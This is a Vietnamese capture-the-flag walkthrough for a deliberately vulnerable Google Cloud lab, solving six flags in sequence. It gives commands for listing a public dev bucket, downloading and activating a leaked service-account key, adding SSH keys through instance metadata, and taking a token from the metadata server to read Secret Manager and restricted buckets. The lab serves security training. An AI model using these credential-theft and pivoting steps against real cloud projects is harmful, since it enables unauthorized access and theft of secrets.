GCP Pentest Lab CTF

GCP-Pentest-Lab là một môi trường có lỗ hổng được thiết kế để khám phá và khai thác các lỗi cấu hình sai (misconfigurations) trên Google Cloud Platform (GCP). Dự án này chứa các lỗi cấu hình sai khác nhau (với 6 flag), và các flag này không có định dạng cụ thể. Người chơi bắt đầu với tư cách là người dùng ngẫu nhiên thông qua một ứng dụng web và phải tìm cách vượt qua các lỗ hổng bảo mật khác nhau mà không dựa vào các phương thức khai thác (exploits) truyền thống ở cấp độ web hoặc hệ điều hành.
Setup
Clone the Github repository:
https://github.com/HoangPhan10/GCP-goat-security.gitgit clone https://github.com/HoangPhan10/GCP-goat-security.git
Open source with VScode, thêm file
terraform.tfvarschứa giá trị các biếngcp_project_id = "<project_id>"
Download các dependencies cho terraform
terraform init
Run source terraform
terraform apply -auto-approve
Bây giờ, có thể truy cập vào VM qua public IP
Flag-1
Solution:
Truy cập vào trang web thông qua public IP

Ta thấy các image này được lưu trữ trên GCP buckets. Tên bucket là
rare-array-467416-p5-prod-bucket
Ta thử list các image trong bucket này:
rare-array-467416-p5-prod-bucket
Nhận được lỗi thiếu quyền:
💡Anonymous caller does not have storage.objects.list access to the Google Cloud Storage bucket. Permissionstorage.objects.listdenied on resource (or it may not exist).Xem hết trang web, ta thấy có 1 image nằm ở bucket khác:
rare-array-467416-p5-dev-bucket
Tiếp tục thử list các image trong bucket này:
rare-array-467416-p5-dev-bucket.
Nó trả về thông tin tất cả các image trong bucket:
<?xml version='1.0' encoding='UTF-8'?> <ListBucketResult xmlns='http://doc.s3.amazonaws.com/2006-03-01'> <Name>rare-array-467416-p5-dev-bucket</Name> <Prefix></Prefix> <Marker></Marker> <IsTruncated>false</IsTruncated> <Contents> <Contents> <Key>cert5.png</Key> <Generation>1754488657208732</Generation> <MetaGeneration>1</MetaGeneration> <LastModified>2025-08-06T13:57:37.211Z</LastModified> <ETag>"6a41469ba039ed2292edf50449bb3d8d"</ETag> <Size>96425</Size> </Contents> <Contents> <Key>cert6.png</Key> <Generation>1754488656708133</Generation> <MetaGeneration>1</MetaGeneration> <LastModified>2025-08-06T13:57:36.710Z</LastModified> <ETag>"2b7c1e6df1ef627aabbdd661a1965f5c"</ETag> <Size>7013</Size> </Contents> <Contents> <Key>flag1.txt</Key> <Generation>1754488659009630</Generation> <MetaGeneration>1</MetaGeneration> <LastModified>2025-08-06T13:57:39.011Z</LastModified> <ETag>"adac98aad02b7188e96cba6cdd747f20"</ETag> <Size>134</Size> </Contents> <Contents> <Key>meet2.jpg</Key> <Generation>1754488657210645</Generation> <MetaGeneration>1</MetaGeneration> <LastModified>2025-08-06T13:57:37.213Z</LastModified> <ETag>"c1b4474d0fc5e2385a28f549ca310f61"</ETag> <Size>69633</Size> </Contents> <Contents> <Key>sync_sa_key.json</Key> <Generation>1754488662310659</Generation> <MetaGeneration>1</MetaGeneration> <LastModified>2025-08-06T13:57:42.313Z</LastModified> <ETag>"5de436ff842b1335212f160b046b5a51"</ETag> <Size>3216</Size> </Contents> </ListBucketResult>Ta thấy có file
flag1.txt
Open file này, ta nhận được flag-1
💡Flag1:Congrats, you found the first flag! Mixing DEV and PROD environments is a bit like throwing ice into a deep fryer: fun, but not safe!
Flag-2
Solution:
Từ bucket
rare-array-467416-p5-dev-bucket, ta thấy có 1 filesync_sa_key.json
Khi tải xuống, chúng ta nhận được key bên dưới:
curl -O https://storage.googleapis.com/rare-array-467416-p5-dev-bucket/sync_sa_key.json
Tệp này chứ nội dung base64, decode base64 rồi lưu vào file
decoded_sync_sa_key.json
Ta thấy file này chứa nội dung xác thực 1 service_account.
Bây giờ, tiến hành kích hoạt service_account này bằng file giải mã trước đó
gcloud auth activate-service-account --key-file=decoded_sync_sa_key.json gcloud iam service-accounts describe rare-array-467416-p5-sync-sa@rare-array-467416-p5.iam.gserviceaccount.com
Tiếp theo, list các bucket sử dụng service_account vừa rồi bằng lệnh
gsutilgsutil ls -p <project_id>
Liệt kê các file trong các bucket:
gsutil ls gs://rare-array-467416-p5-mkt-bucket
Trong bucket
rare-array-467416-p5-secret-bucketcó chứaflag2.txtgsutil ls gs://rare-array-467416-p5-secret-bucket
Xem nội dung
flag2.txtgsutil cp -r gs://rare-array-467416-p5-secret-bucket/flag2.txt . cat flag2.txt
💡Flag2:You found the second flag! I was hiding in this bucket, but you found me! :D Turns out exposed Service Account credentials can be pretty dangerous...Ta có phát hiện thấy
flag6.txttrong bucketrare-array-467416-p5-super-secret-bucketgsutil ls gs://rare-array-467416-p5-super-secret-bucket
Khi tải xuống, bị báo lỗi 403 permission
gsutil cp -r gs://rare-array-467416-p5-super-secret-bucket/flag6.txt .
Flag-3
Solution:
Thực hiện get các instance bằng
service_accounttrước đó
Tạo
ssh-keyđể truy cập đếninstancessh-keygen -t rsa -b 4096
Thêm public key vào
metadatagcloud compute instances add-metadata <name_instance> --metadata=ssh-keys="ubuntu:<ssh-key-gcp.pub> ubuntu" --zone=<zone_instance>
Sử dụng private key để ssh vào instance
ssh -i ssh-key-gcp ubuntu@<public_ip>
Trong thư mục
/etc, ta thấy có thư mụcgcp-pentest-flask-app
Vào thư mục, liệt kê các file trong nó

Ta thấy có file
app.py, ta nhận được flag trong file này
#Hey there! I am the third flag! #Putting valuable stuff directly in your source code is never a good idea!Flag-4
Solution:
Lấy
access_token_defaultcủa vmwarecurl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Truy cập
secret managerbằng token vừa rồiexport ACCESS_TOKEN_DEFAULT_SA=<token>
curl -H "Authorization: Bearer $ACCESS_TOKEN_DEFAULT_SA" "https://secretmanager.googleapis.com/v1/projects/<project_id>/secrets"
Ta thấy có 1 secret tên
flag-4, xem cácversioncủa nó:curl -H "Authorization: Bearer $ACCESS_TOKEN_DEFAULT_SA" "https://secretmanager.googleapis.com/v1/projects/<project_id>/secrets/flag-4/versions"
Xem nội dung
version:1curl -H "Authorization: Bearer $ACCESS_TOKEN_DEFAULT_SA" "https://secretmanager.googleapis.com/v1/projects/<project_id>/secrets/flag-4/versions/1:access"
Data đang được mã hóa base64, giải mã nó ta nhận được flag
echo <data> | base64 -d
Flag 4 - Congratulations, you found the secret, literally!Flag-5
Solution:
Ta xem thông tin
metadatacủa instance:curl -H "Authorization: Bearer $ACCESS_TOKEN_DEFAULT_SA" "https://www.googleapis.com/compute/v1/projects/<project_id>/zones/<zone_instance>/instances /<name_instance>?fields=metadata"
Hello, im the 5th flag!! Turns out some people like to do some insecure stuff with environment variables and startup scripts. Good think the metadata server is always here to help! :DFlag-6
Solution:
Trong phần lấy
flag2, ta có tìm được thêmflag6nhưng xem bị lỗi403 permission
Bây giờ, thử lại với access token trong instance
curl -H "Authorization: Bearer $ACCESS_TOKEN_DEFAULT_SA" "https://storage.googleapis.com/storage/v1/b/<bucket_super_secret>/o/flag6.txt?alt=media"
Woah, you found the last (6th) flag!


